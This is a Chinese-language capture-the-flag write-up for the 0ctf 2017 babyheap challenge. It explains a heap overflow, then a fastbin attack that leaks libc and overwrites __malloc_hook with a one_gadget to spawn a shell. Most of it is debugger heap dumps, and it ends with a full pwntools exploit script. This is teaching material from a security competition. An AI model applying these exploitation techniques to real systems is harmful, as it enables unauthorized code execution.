0ctf_2017_babyheap详解

本文主要列出0ctf_2017_babyheap的详细过程

主要参考:https://bbs.pediy.com/thread-223461.htm

程序流程

  1. allocate:申请size大小的块
  2. fill:对idx的块,设置size,并填入content
  3. free:释放idx的块
  4. dump:打印idx的块内容

漏洞分析

fill中的size可以重新设置,故可以造成堆溢出。

方法:fastbin attack

  1. double free泄露libc

    【small/large chunk释放,fd和bk指向main_arena】

  2. fastbin attack写malloc_hook为one_gadget

详细过程

1.保护

winter@ubuntu:~/buu$ checksec 0ctf_2017_babyheap 
[*] '/home/winter/buu/0ctf_2017_babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

2.申请初始块

四个0x10、一个0x80

第0个块作用:方便修改第1、2块

第3个块作用:方便修改0x80的块

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x0000000000000000	0x0000000000000000
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000091
0x5614ee1f6090:	0x0000000000000000	0x0000000000000000
0x5614ee1f60a0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60b0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60c0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60d0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60e0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60f0:	0x0000000000000000	0x0000000000000000
0x5614ee1f6100:	0x0000000000000000	0x0000000000000000
0x5614ee1f6110:	0x0000000000000000	0x0000000000020ef1
0x5614ee1f6120:	0x0000000000000000	0x0000000000000000
0x5614ee1f6130:	0x0000000000000000	0x0000000000000000
0x5614ee1f6140:	0x0000000000000000	0x0000000000000000
0x5614ee1f6150:	0x0000000000000000	0x0000000000000000
0x5614ee1f6160:	0x0000000000000000	0x0000000000000000
0x5614ee1f6170:	0x0000000000000000	0x0000000000000000
0x5614ee1f6180:	0x0000000000000000	0x0000000000000000

3.释放1、2块

为double free做准备,其中 块2指向块1

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

#1
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
fd: 0x00

#2
#指向块1,先进后出
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
fd: 0x5614ee1f6020

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x00005614ee1f6020	0x0000000000000000
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000091
0x5614ee1f6090:	0x0000000000000000	0x0000000000000000
0x5614ee1f60a0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60b0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60c0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60d0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60e0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60f0:	0x0000000000000000	0x0000000000000000
0x5614ee1f6100:	0x0000000000000000	0x0000000000000000
0x5614ee1f6110:	0x0000000000000000	0x0000000000020ef1
0x5614ee1f6120:	0x0000000000000000	0x0000000000000000
0x5614ee1f6130:	0x0000000000000000	0x0000000000000000
0x5614ee1f6140:	0x0000000000000000	0x0000000000000000
0x5614ee1f6150:	0x0000000000000000	0x0000000000000000
0x5614ee1f6160:	0x0000000000000000	0x0000000000000000
0x5614ee1f6170:	0x0000000000000000	0x0000000000000000
0x5614ee1f6180:	0x0000000000000000	0x0000000000000000

4.令释放块2指向块4

通过漏洞fill堆溢出,修改块2里指向块1的低地址,修改为0x80,即可使得块2指向块4

pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x00005614ee1f6080	0x0000000000000000
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000091
0x5614ee1f6090:	0x0000000000000000	0x0000000000000000

5.为绕过检测,修改块4:0x80->0x10

溢出实现

pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x00005614ee1f6080	0x0000000000000000
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000021
0x5614ee1f6090:	0x0000000000000000	0x0000000000000000
0x5614ee1f60a0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60b0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60c0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60d0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60e0:	0x0000000000000000	0x0000000000000000

修改成功,但是由于chunk4的大小修改了,故找不到top chunk了,故后期需要把大小:0x10->0x80

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
fd: 0x5614ee1f6080

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21
fd: 0x00

Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00

通过溢出,成功修改了chunk2指向chunk4,导致未释放的chunk4加入到了bin中,重新allocate,导致idx=2、4都为同一个块。

pwndbg> bins
fastbins
0x20: 0x555923ab8040 —▸ 0x555923ab8080 ◂— 0x21 /* '!' */
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

6.重新申请回两个块

1、2、4

释放:块1->块2

修改:块2->块4

重新申请:块4->块2(idx1->idx2)

  • 原块1直接释放态->allocate态
  • 原块2->idx1
  • 原块4->idx2
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

#先进后出
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21
fd: 0x00

Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21

Allocated chunk
Addr: 0x5614ee1f60a0
Size: 0x00

7.重新修改chunk4:0x10->0x80

为了让top chunk重新找得到,故需要重新讲chunk4的大小修改回0x80,以便于之后申请操作。

pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x0000000000000000	0x0000000000000000
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000091
0x5614ee1f6090:	0x0000000000000000	0x0000000000000000
0x5614ee1f60a0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60b0:	0x0000000000000000	0x0000000000000000
pwndbg> heap
#0
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21
#1
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
#new 1
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
#3
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21
#2、4
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1

8.申请一个块,防止块4free与top chunk合并

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

#alloc(0x80)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

9.释放chunk4

因为此时idx2、4都指向chunk4,故可以释放chunk4,此时它里面会填入main_arena中地址,可以计算得到libc_base

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#free(4)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

10.打印idx2(即idx4内容)

libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))

11.申请0x60的块

新块的idx为4(把idx4给了分配的块,为分配的0x21没有idx)

切割0x91的块,剩下0x21放入了unsortedbin中

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#alloc(0x60)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

12.释放0x60的块

再次释放0x60的块,放入了fastbin中,为fastbin后面继续申请0x60的堆地址提供了帮助,,,

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#free(4)
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71
fd: 0x00

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

13.修改idx2的内容,为malloc_hook附近构造chunk的地址

需要改地址,有fastbin大小的八字节数字,,,

#payload = p64(libc_base+0x3c4aed)
#fill(2, payload)

pwndbg> x/30gx 0x5614ee1f6000
0x5614ee1f6000:	0x0000000000000000	0x0000000000000021
0x5614ee1f6010:	0x0000000000000000	0x0000000000000000
0x5614ee1f6020:	0x0000000000000000	0x0000000000000021
0x5614ee1f6030:	0x0000000000000000	0x0000000000000000
0x5614ee1f6040:	0x0000000000000000	0x0000000000000021
0x5614ee1f6050:	0x0000000000000000	0x0000000000000000
0x5614ee1f6060:	0x0000000000000000	0x0000000000000021
0x5614ee1f6070:	0x0000000000000000	0x0000000000000000
0x5614ee1f6080:	0x0000000000000000	0x0000000000000071
0x5614ee1f6090:	0x00007f6a86e67aed	0x0000000000000000
0x5614ee1f60a0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60b0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60c0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60d0:	0x0000000000000000	0x0000000000000000
0x5614ee1f60e0:	0x0000000000000000	0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71
fd: 0x7f6a86e67aed#修改后的地址

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61

pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
#接下来申请两遍,即可得到0x7f6a86e67aed地址的块,可以对0x7f6a86e67aed进行数据读写
0x70: 0x5614ee1f6080 —▸ 0x7f6a86e67aed (_IO_wide_data_0+301) ◂— 0x6a86b28ea0000000
0x80: 0x0
unsortedbin
all: 0x5614ee1f60f0 —▸ 0x7f6a86e67b78 (main_arena+88) ◂— 0x5614ee1f60f0
smallbins
empty
largebins
empty

14.申请回第一个0x60块

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

#alloc(0x60)
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x71

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5614ee1f60f0
Size: 0x21
fd: 0x7f6a86e67b78
bk: 0x7f6a86e67b78

Allocated chunk
Addr: 0x5614ee1f6110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5614ee1f61a0
Size: 0x20e61


pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x7f6a86e67aed (_IO_wide_data_0+301) ◂— 0x6a86b28ea0000000
0x80: 0x0
unsortedbin
all: 0x5614ee1f60f0 —▸ 0x7f6a86e67b78 (main_arena+88) ◂— 0x5614ee1f60f0
smallbins
empty
largebins
empty


pwndbg> x/30gx 0x7f6a86e67aed
0x7f6a86e67aed <_IO_wide_data_0+301>:	0x6a86e66260000000	0x000000000000007f
0x7f6a86e67afd:	0x6a86b28ea0000000	0x6a86b28a7000007f
0x7f6a86e67b0d <__realloc_hook+5>:	0x000000000000007f	0x0000000000000000
0x7f6a86e67b1d:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b2d :	0x0000000000000000	0x0000000000000000
0x7f6a86e67b3d :	0x0000000000000000	0x0000000000000000
0x7f6a86e67b4d :	0x6a86e67aed000000	0x000000000000007f
0x7f6a86e67b5d :	0x0000000000000000	0x0000000000000000
0x7f6a86e67b6d :	0x0000000000000000	0x14ee1f61a0000000
0x7f6a86e67b7d :	0x14ee1f60f0000056	0x14ee1f60f0000056
0x7f6a86e67b8d :	0x14ee1f60f0000056	0x6a86e67b88000056
0x7f6a86e67b9d :	0x6a86e67b8800007f	0x6a86e67b9800007f
0x7f6a86e67bad :	0x6a86e67b9800007f	0x6a86e67ba800007f
0x7f6a86e67bbd :	0x6a86e67ba800007f	0x6a86e67bb800007f
0x7f6a86e67bcd :	0x6a86e67bb800007f	0x6a86e67bc800007f
pwndbg> x/30gx 0x7f6a86e67b20 - 0x20
0x7f6a86e67b00 <__memalign_hook>:	0x00007f6a86b28ea0	0x00007f6a86b28a70
0x7f6a86e67b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b20 :	0x0000000000000000	0x0000000000000000
0x7f6a86e67b30 :	0x0000000000000000	0x0000000000000000
0x7f6a86e67b40 :	0x0000000000000000	0x0000000000000000
0x7f6a86e67b50 :	0x6a86b28ea0000000	0x0000000000000000
0x7f6a86e67b60 :	0x0000000000000000	0x0000000000000000
0x7f6a86e67b70 :	0x0000000000000000	0x00005614ee1f61a0
0x7f6a86e67b80 :	0x00005614ee1f60f0	0x00005614ee1f60f0
0x7f6a86e67b90 :	0x00005614ee1f60f0	0x00007f6a86e67b88
0x7f6a86e67ba0 :	0x00007f6a86e67b88	0x00007f6a86e67b98
0x7f6a86e67bb0 :	0x00007f6a86e67b98	0x00007f6a86e67ba8
0x7f6a86e67bc0 :	0x00007f6a86e67ba8	0x00007f6a86e67bb8
0x7f6a86e67bd0 :	0x00007f6a86e67bb8	0x00007f6a86e67bc8
0x7f6a86e67be0 :	0x00007f6a86e67bc8	0x00007f6a86e67bd8
pwndbg> x/30gx 0x7f6a86e67b20 - 0x20
0x7f6a86e67b00 <__memalign_hook>:	0x0000000000000000	0x0000000000000000
0x7f6a86e67b10 <__malloc_hook>:	0x00007f6a86ae826a	0x0000000000000000
0x7f6a86e67b20 :	0x0000000000000000	0x0000000000000000
0x7f6a86e67b30 :	0x0000000000000000	0x0000000000000000
0x7f6a86e67b40 :	0x0000000000000000	0x0000000000000000
0x7f6a86e67b50 :	0x6a86b28ea0000000	0x0000000000000000
0x7f6a86e67b60 :	0x0000000000000000	0x0000000000000000
0x7f6a86e67b70 :	0x0000000000000000	0x00005614ee1f61a0
0x7f6a86e67b80 :	0x00005614ee1f60f0	0x00005614ee1f60f0
0x7f6a86e67b90 :	0x00005614ee1f60f0	0x00007f6a86e67b88
0x7f6a86e67ba0 :	0x00007f6a86e67b88	0x00007f6a86e67b98
0x7f6a86e67bb0 :	0x00007f6a86e67b98	0x00007f6a86e67ba8
0x7f6a86e67bc0 :	0x00007f6a86e67ba8	0x00007f6a86e67bb8
0x7f6a86e67bd0 :	0x00007f6a86e67bb8	0x00007f6a86e67bc8
0x7f6a86e67be0 :	0x00007f6a86e67bc8	0x00007f6a86e67bd8

15.申请到假的chunk,修改malloc_hook->gadget

最后只要执行malloc操作,即可get shell

allo(0x60)
allo(0x60)

payload = 'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)

fill(6,len(payload),payload)

allo(79)

完整exp

from pwn import *

p = process("./0ctf_2017_babyheap")
#p=remote("node3.buuoj.cn",25261)

context.log_level = 'debug'
def allo(size):
	p.recvuntil("Command: ")
	p.sendline(str(1))
	p.recvuntil("Size: ")
	p.sendline(str(size))

def fill(idx,size,content):
	p.recvuntil("Command: ")
	p.sendline(str(2))
	p.recvuntil("Index: ")
	p.sendline(str(idx))
	p.recvuntil("Size: ")
	p.sendline(str(size))
	p.recvuntil("Content: ")
	p.sendline(content)

def free(idx):
	p.recvuntil("Command: ")
	p.sendline(str(3))
	p.recvuntil("Index: ")
	p.sendline(str(idx))

def dump(idx):
	p.recvuntil("Command: ")
	p.sendline(str(4))
	p.recvuntil("Index: ")
	p.sendline(str(idx))

allo(0x10)#0
allo(0x10)#1
allo(0x10)#2
allo(0x10)#3
allo(0x80)#4

free(1)
free(2)

payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21)
payload += p8(0x80)
fill(0,len(payload),payload)

payload = p64(0)*3 + p64(0x21)
fill(3,len(payload),payload)

allo(0x10)#1 The original position of 2
allo(0x10)#2 4 Simultaneous pointing

payload = p64(0)*3 + p64(0x91)
fill(3,len(payload),payload)

allo(0x80)

free(4)

dump(2)
content = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
print(hex(content))
libc_base = (content) - 0x3c4b78
print(hex(libc_base))

allo(0x60)

free(4)
payload = p64(libc_base + 0x3C4AED)
fill(2,len(payload),payload)

allo(0x60)
allo(0x60)
gdb.attach(p)
pause()


payload = 'a'*(0x8+0x2+0x8+1)
payload += p64(libc_base+0x4526a)

fill(6,len(payload),payload)

allo(79)
# gdb.attach(p)
p.interactive()

常规的堆题流程,,,经典题目

你可能感兴趣的:(CTF,buu,babyheap)